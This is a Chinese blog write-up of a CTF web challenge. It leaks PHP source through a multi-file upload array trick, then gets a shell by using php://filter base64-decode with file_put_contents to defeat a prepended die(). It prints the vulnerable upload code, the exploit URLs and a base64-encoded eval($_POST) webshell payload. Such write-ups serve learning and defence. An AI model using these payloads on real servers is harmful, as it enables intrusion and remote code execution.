LoRexxar's Blog | 信息技术分享

sangebaimao之火币网

2016/07/17

题目在wooyun峰会上就放出来了,在上周orange菊苣和一众师傅讨论的结果下,才终于有了第一步的路,虽然没能力拿下一血,但是还是磕磕绊绊的做出来了…

多文件上传导致的php源码泄露

原理

根据上周各位师傅们的讨论,找到这个洞

https://bugs.php.net/bug.php?id=49683

还有一篇文章

https://nealpoole.com/blog/2011/10/directory-traversal-via-php-multi-file-uploads/

根据第二篇文章直接复现环境(事实证明和原环境相差非常小),由于foreach的关系,如果我们构造pictures[tmp_name][,然后定义filename就是把tmp_name改成filename中的值…

我们看到tmp_name被改写了,所以我们可以通过这种方式控制每个字段的内容…

读源码?

但是在第二篇文章中输出是通过

1
2
3
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
$name = $_FILES["pictures"]["name"][$key];
echo "move_uploaded_file($tmp_name, \"$uploads_dir/$name\");";

本地测试通过,线上失败了(╯-_-)╯╧╧

稍微测试下发现存在name存在性判定,让我们来看看后来读到的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!empty($_FILES["homework"]["name"][$key]))
{
$filename = htmlspecialchars($_FILES["homework"]["name"][$key]);
$tmpFile = $_FILES["homework"]["tmp_name"][$key];
//$size = $_FILES["homework"]["size"][$key];
// echo $tmpFile;
$content = base64_encode(file_get_contents($tmpFile));
$echoCentent[] = $content;
if(!empty($content))
{
$sql = "insert into homework(`filename`,`content`,`time`) values('".$filename."','".$content."','".$nowtime."')";
if(!mysql_query($sql))
{
die('hello hacker!');
}
}

}

前面多了一句判断if (!empty($_FILES["homework"]["name"][$key]))

线上测试可以通过fuzz判断,于是payload是这样的

下面出现了base64的源码…

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
include 'init.php';

$nowtime = time();
if(is_array($_FILES) && !empty($_FILES))
{
//var_dump($_FILES);
foreach($_FILES["homework"]["name"] as $key => $name)
{
if (!empty($_FILES["homework"]["name"][$key]))
{
$filename = htmlspecialchars($_FILES["homework"]["name"][$key]);
$tmpFile = $_FILES["homework"]["tmp_name"][$key];
//$size = $_FILES["homework"]["size"][$key];
// echo $tmpFile;
$content = base64_encode(file_get_contents($tmpFile));
$echoCentent[] = $content;
if(!empty($content))
{
$sql = "insert into homework(`filename`,`content`,`time`) values('".$filename."','".$content."','".$nowtime."')";
if(!mysql_query($sql))
{
die('hello hacker!');
}
}

}
}
}

if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));
if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{

$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}

}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>暑假作业上传系统</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="description" content="Expand, contract, animate forms with jQuery wihtout leaving the page" />
<meta name="keywords" content="expand, form, css3, jquery, animate, width, height, adapt, unobtrusive javascript"/>
<link rel="shortcut icon" href="../favicon.ico" type="image/x-icon"/>
<link rel="stylesheet" type="text/css" href="css/style.css" />
<script src="js/cufon-yui.js" type="text/javascript"></script>
<script src="js/ChunkFive_400.font.js" type="text/javascript"></script>
<script type="text/javascript">
Cufon.replace('h1',{ textShadow: '1px 1px #fff'});
Cufon.replace('h2',{ textShadow: '1px 1px #fff'});
Cufon.replace('h3',{ textShadow: '1px 1px #000'});
Cufon.replace('.back');
</script>
</head>
<body>
<div class="wrapper">
<h1>The system for summer jobs</h1><h2 style="text-align:right;"></h2>
<div class="content" style="text-align:center;padding-left:200px;width:500px">
<div id="form_wrapper" class="form_wrapper"></div>
<br/>

<div style="text-align:center;width" >
</div>
<br/>
<div>注意:上传文件名请使用姓名加学号的方式上传,如:钢蛋2016098121.pdf<div>
<br/>
<br>
<br/>
<br>
<form action = "index.php" method = "POST" enctype = "multipart/form-data">
<span>语文作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>数学作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>英语作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>其他作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<div style="text-align:right">
<br>
<input type = "submit" value ="提交作业">
</div>
</form>
<div class="clear"></div>
</div>
<div id="form_wrapper" class="form_wrapper"></div>
<div style="text-align:left">交作业情况(只显示最新提交10个人):</div><br/><br>
<div style="text-align:left">
<?php
$sql = "select id,filename from homework order by id desc limit 0,10;";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo $row['id']."|".$row['filename']."|"."<a href=\"index.php?download={$row['id']}&filename=upload/".urlencode($row['filename'])."\">下载作业</a>"."<br/><br/>";
}
?>
</div>
<div id="form_wrapper" class="form_wrapper"></div>
<div style="width:500px">
<?php
if(!empty($echoCentent))
echo json_encode($echoCentent);
?>
</div>
</div>
</body>
</html>

巧妙地方式?

这里分析源码其实发现…下载的代码其实是有问题的…

读入文件的内容会插入数据库,然后再请求下载界面的时候,读出数据库内容写入filename,那么我们读入index.php的内容就可以写入test.txt,不会受到die()的影响,读到完整带有格式的源码…

其核心逻辑是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));
if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{

$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}

}

在类似于前面上传之后,请求对应的id

1
http://464e9b54c7a12250a.jie.sangebaimao.com/index.php?download=4101&filename=upload/test

get!

php://filter/write配合file_put_contents getshell

仔细分析上面的代码,发现核心逻辑在

1
2
3
4
5
$devalContents = "<?php die; ?>\n"; 
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));

配合hint2简直蒙蔽。。。

分析逻辑感觉问题还是在file_put_contents

无意中找到了这篇文章

http://www.myhack58.com/Article/html/3/7/2011/30898.htm

一下打通了任督二脉。。。

只要传入shell的base64,然后解码,前面的die就会解成乱码,然后getshell

尝试

1
PD9waHAgZWNobyAyMzM7IGV2YWwoJF9QT1NUWydzcyddKTsgPz4=

payload

1
http://464e9b54c7a12250a.jie.sangebaimao.com/upload/php://filter/write=convert.base64-decode/resource/resource=upload/ddog.php

咦?乱码了。。。

想了一会儿才想起来base64有padding,如果长度不对就会解成乱码,那就python尝试一下吧…

最终文件内容

1
ssPD9waHAgZWNobyAyMzM7IGV2YWwoJF9QT1NUWydzcyddKTsgPz4=

payload

1
http://464e9b54c7a12250a.jie.sangebaimao.com/upload/php://filter/write=convert.base64-decode/resource/resource=upload/ddog.php

getshell….

CATALOG
  1. 1. 多文件上传导致的php源码泄露
    1. 1.1. 原理
    2. 1.2. 读源码?
    3. 1.3. 巧妙地方式?
  2. 2. php://filter/write配合file_put_contents getshell